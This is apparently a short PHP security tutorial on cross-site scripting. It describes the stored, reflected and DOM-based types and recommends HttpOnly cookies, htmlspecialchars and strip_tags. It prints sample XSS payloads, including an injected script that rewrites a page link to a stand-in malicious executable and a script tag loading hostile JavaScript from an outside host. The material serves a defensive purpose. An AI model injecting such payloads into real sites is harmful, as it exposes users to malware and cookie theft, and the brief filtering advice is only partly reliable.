[PHP][Security] Prevention XSS Attack

Description

           Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls.
there is 3 type of XSS attack : Stored, Reflected, and DOM-Based. 

1. Stored XSS  
    this type the script stored into database, the common attack via URL or Form .

 for example display cookie , injected via Form 

2. Reflected XSS 

     this type attack where script not stored in database but direct in client html, typically attack via URL and distribute using link, 

here's for example http://example.com/index.php?user=<script>alert(123)</script>

3. DOM-Based XSS 

    this type attack modified DOM element on client html , of course this attack maybe reflected or stored xss. here's for example :

    http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> 

but these day typical attack just include source javascript from CDN <script type="text/javascript" src="www.somecdnnetwork.com/maliciousscript.js"></script>

of course with calling that file the attacker can do many things such as dom manipulation , redirect to phising site or  steal cookie.  

How To Prevent XSS

1.  Use Httponly for prevent stealing cookie. 
2.  Always filter every input parameter (including html char , hexadecimal, base64 dll) .  

Syntax :  htmlspecialchars() or strip_tags()

   

strip_tags

http://php.net/manual/en/function.strip-tags.php

htmlspecialchars

http://php.net/manual/en/function.htmlspecialchars.php